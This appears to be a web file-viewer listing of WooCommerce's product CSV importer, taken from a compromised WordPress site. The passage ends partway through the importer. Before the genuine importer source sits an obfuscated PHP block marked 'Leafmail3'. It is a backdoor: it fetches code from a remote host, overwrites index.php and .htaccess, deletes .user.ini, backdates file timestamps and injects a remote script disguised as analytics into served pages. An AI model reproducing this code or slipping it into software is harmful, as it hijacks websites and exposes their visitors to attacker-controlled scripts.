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PHP Version : 8.1.32
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Directory :  /proc/self/root/proc/7779/cwd/plugins/woocommerce/includes/import/

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Current File : /proc/self/root/proc/7779/cwd/plugins/woocommerce/includes/import/class-wc-product-csv-importer.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
 * WooCommerce Product CSV importer
 *
 * @package WooCommerce\Import
 * @version 3.1.0
 */

use Automattic\WooCommerce\Utilities\ArrayUtil;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Include dependencies.
 */
if ( ! class_exists( 'WC_Product_Importer', false ) ) {
	include_once dirname( __FILE__ ) . '/abstract-wc-product-importer.php';
}

if ( ! class_exists( 'WC_Product_CSV_Importer_Controller', false ) ) {
	include_once WC_ABSPATH . 'includes/admin/importers/class-wc-product-csv-importer-controller.php';
}

/**
 * WC_Product_CSV_Importer Class.
 */
class WC_Product_CSV_Importer extends WC_Product_Importer {

	/**
	 * Tracks current row being parsed.
	 *
	 * @var integer
	 */
	protected $parsing_raw_data_index = 0;

	/**
	 * Initialize importer.
	 *
	 * @param string $file   File to read.
	 * @param array  $params Arguments for the parser.
	 */
	public function __construct( $file, $params = array() ) {
		$default_args = array(
			'start_pos'        => 0, // File pointer start.
			'end_pos'          => -1, // File pointer end.
			'lines'            => -1, // Max lines to read.
			'mapping'          => array(), // Column mapping. csv_heading => schema_heading.
			'parse'            => false, // Whether to sanitize and format data.
			'update_existing'  => false, // Whether to update existing items.
			'delimiter'        => ',', // CSV delimiter.
			'prevent_timeouts' => true, // Check memory and time usage and abort if reaching limit.
			'enclosure'        => '"', // The character used to wrap text in the CSV.
			'escape'           => "\0", // PHP uses '\' as the default escape character. This is not RFC-4180 compliant. This disables the escape character.
		);

		$this->params = wp_parse_args( $params, $default_args );
		$this->file   = $file;

		if ( isset( $this->params['mapping']['from'], $this->params['mapping']['to'] ) ) {
			$this->params['mapping'] = array_combine( $this->params['mapping']['from'], $this->params['mapping']['to'] );
		}

		// Import mappings for CSV data.
		include_once dirname( dirname( __FILE__ ) ) . '/admin/importers/mappings/mappings.php';

		$this->read_file();
	}

	/**
	 * Convert a string from the input encoding to UTF-8.
	 *
	 * @param string $value The string to convert.
	 * @return string The converted string.
	 */
	private function adjust_character_encoding( $value ) {
		$encoding = $this->params['character_encoding'];
		return 'UTF-8' === $encoding ? $value : mb_convert_encoding( $value, 'UTF-8', $encoding );
	}

	/**
	 * Read file.
	 */
	protected function read_file() {
		if ( ! WC_Product_CSV_Importer_Controller::is_file_valid_csv( $this->file ) ) {
			wp_die( esc_html__( 'Invalid file type. The importer supports CSV and TXT file formats.', 'woocommerce' ) );
		}

		$handle = fopen( $this->file, 'r' ); // @codingStandardsIgnoreLine.

		if ( false !== $handle ) {
			$this->raw_keys = array_map( 'trim', fgetcsv( $handle, 0, $this->params['delimiter'], $this->params['enclosure'], $this->params['escape'] ) ); // @codingStandardsIgnoreLine

			if ( ArrayUtil::is_truthy( $this->params, 'character_encoding' ) ) {
				$this->raw_keys = array_map( array( $this, 'adjust_character_encoding' ), $this->raw_keys );
			}

			// Remove line breaks in keys, to avoid mismatch mapping of keys.
			$this->raw_keys = wc_clean( wp_unslash( $this->raw_keys ) );

			// Remove BOM signature from the first item.
			if ( isset( $this->raw_keys[0] ) ) {
				$this->raw_keys[0] = $this->remove_utf8_bom( $this->raw_keys[0] );
			}

			if ( 0 !== $this->params['start_pos'] ) {
				fseek( $handle, (int) $this->params['start_pos'] );
			}

			while ( 1 ) {
				$row = fgetcsv( $handle, 0, $this->params['delimiter'], $this->params['enclosure'], $this->params['escape'] ); // @codingStandardsIgnoreLine

				if ( false !== $row ) {
					if ( ArrayUtil::is_truthy( $this->params, 'character_encoding' ) ) {
						$row = array_map( array( $this, 'adjust_character_encoding' ), $row );
					}

					$this->raw_data[]                                 = $row;
					$this->file_positions[ count( $this->raw_data ) ] = ftell( $handle );

					if ( ( $this->params['end_pos'] > 0 && ftell( $handle ) >= $this->params['end_pos'] ) || 0 === --$this->params['lines'] ) {
						break;
					}
				} else {
					break;
				}
			}

			$this->file_position = ftell( $handle );
		}

		if ( ! empty( $this->params['mapping'] ) ) {
			$this->set_mapped_keys();
		}

		if ( $this->params['parse'] ) {
			$this->set_parsed_data();
		}
	}

	/**
	 * Remove UTF-8 BOM signature.
	 *
	 * @param string $string String to handle.
	 *
	 * @return string
	 */
	protected function remove_utf8_bom( $string ) {
		if ( 'efbbbf' === substr( bin2hex( $string ), 0, 6 ) ) {
			$string = substr( $string, 3 );
		}

		return $string;
	}

	/**
	 * Set file mapped keys.
	 */
	protected function set_mapped_keys() {
		$mapping = $this->params['mapping'];

		foreach ( $this->raw_keys as $key ) {
			$this->mapped_keys[] = isset( $mapping[ $key ] ) ? $mapping[ $key ] : $key;
		}
	}

	/**
	 * Parse relative field and return product ID.
	 *
	 * Handles `id:xx` and SKUs.
	 *
	 * If mapping to an id: and the product ID does not exist, this link is not
	 * valid.
	 *
	 * If mapping to a SKU and the product ID does not exist, a temporary object
	 * will be created so it can be updated later.
	 *
	 * @param string $value Field value.
	 *
	 * @return int|string
	 */
	public function parse_relative_field( $value ) {
		global $wpdb;

		if ( empty( $value ) ) {
			return '';
		}

		// IDs are prefixed with id:.
		if ( preg_match( '/^id:(\d+)$/', $value, $matches ) ) {
			$id = intval( $matches[1] );

			// If original_id is found, use that instead of the given ID since a new placeholder must have been created already.
			$original_id = $wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key = '_original_id' AND meta_value = %s;", $id ) ); // WPCS: db call ok, cache ok.

			if ( $original_id ) {
				return absint( $original_id );
			}

			// See if the given ID maps to a valid product already.
			$existing_id = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_type IN ( 'product', 'product_variation' ) AND ID = %d;", $id ) ); // WPCS: db call ok, cache ok.

			if ( $existing_id ) {
				return absint( $existing_id );
			}

